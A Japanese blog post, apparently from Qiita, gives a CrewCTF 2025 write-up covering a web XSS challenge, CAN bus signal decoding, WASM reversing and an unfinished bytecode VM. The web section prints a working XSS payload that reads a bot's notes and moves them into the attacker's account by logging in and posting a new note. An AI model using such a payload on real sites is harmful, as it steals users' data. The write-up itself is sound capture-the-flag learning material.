0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

CrewCTF 2025 WriteUp

Posted at

Love Note(Web)

  • コードをざっと確認。bot がいるXSS で情報流出系と判断。
  • アプリ初期化時に flag を含むノートを作っている。
  • innerHTML に直接代入している箇所は 1 箇所(bot 側)
  • ノートを開くとたまに XSS が発火
  • ヘッダーが明らかにおかしい自前で header を組み立てており壊れている
  • CSP が有効に見え、回避が必要だと思ったが、特に問題は見つからない
    • JavaScript がきついなら CSS か? とも考えたが、style-src も対策済みに見えた
      (※のちに static に redirect が書かれており、stylesheet による secret 流出が可能であったことが発覚。hate note はそれで解くらしい)。
  • スクリプトを含む見た目の HTML ノートを作り、そこへ遷移できれば XSS 発火できそう。
  • GET の APIを読み、自分の ID でログインして新規ノートを作る方針にした(※その時点では 外部 API を呼ぶだけでよかったことに気づいていない)。
  • metadata で遷移できると分かり、試したら動作
  • flag 取得

使用したペイロード(抜粋)

<script>
async function main() {
    const notes = await fetch('/api/notes').then(res => res.json());
    await fetch('/api/auth/login', {
        method: 'POST',
        headers: {"Content-Type": "application/x-www-form-urlencoded"},
        body: new URLSearchParams({ email: "test", password: "test" }),
    });
    await fetch('/api/notes', {
        method: 'POST',
        headers: {"Content-Type": "application/x-www-form-urlencoded"},
        body: new URLSearchParams({ title: "xss!", content: notes.map(note => note.title).join(',') }),
    })
}
main();
</script>
<meta http-equiv="refresh" content="0; url=https://inst-f8b09bf67b4c11e6-love-notes.chal.crewc.tf/api/notes/d8f3d033-f7d9-4de1-8824-e3a86cd4d048">

Gas, Gas, Gas(CAN)

  • 問題文に車種が詳しく書かれており、この知識を使うと判断。
  • 車の通信=CAN と想定。
  • データを可視化AI を使用して見やすく表示。
  • 別信号かと思ったが差動信号
  • 時間が反転しているように見え、index 無視で並べ替え(後で混乱の原因)。
  • 差分+しきい値で 1/0 化。
  • クロックは 500kbps か 125kbpsに見える。4us サンプリング → 8us の 125kbpsと判断。
  • 時間が正確なので、1/2 に間引けば綺麗
  • PulseView を使用。入力が分かりづらかったため wav へ変換して投入。
  • CAN デコードが不正パケット長時間デバッグ
  • SOT 後に 1 が来るのが当たり前ではない/終わりは 01 と再確認し、時間逆を疑う。
  • 時間反転CAN デコード成功
  • ID は 4+8 で別 ID後ろの 8 の方がデータ長い
  • データ部を ASCII 表示すると、base64 decode してねbase64 データが見える。
  • 1 バイト目と最後のバイトを削除するとよさそうに見え、base64 decode → flag

WASM Vault(WASM → WAT → ハフマン)

  • 外部に偶奇パリティ関数があり、それを与えて WASM 実行
  • 入力はメモリに置き、正誤を 0/1で返す。
  • WASM を逆アセンブルできるか調べ、**wat(テキスト形式)**があると分かり、変換して読めた
  • ブラウザのデバッガwat を自動表示
  • 動的デバッグすると 分岐が多い固定パリティで片側にしか行かない挙動(難読化と判断)。
  • 難読化部分を削除して 簡略化コードが 1/3 程度になり、読めるように
  • 最初の関数:テーブルを 0,1,2,3… で初期化
  • 2 つ目の関数:テーブルに 文字ごとの頻度を格納。
  • 3 つ目複雑で不明
  • シンボリック実行エラー(命令が無い等)。
  • ハフマン符号化だと分かり、展開スクリプトを実行して flag

??? Basic(Python バイトコード/VM)

何を見たか

  • opcode 約 8 個で実装。
  • 減算は add と invで作成(減算と 1337 は通過)。
  • 定数生成1 を作って倍々必要分だけ dup して加算
  • 掛け算スタック上位をローテートしながら実装を試みたが、時間切れ
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?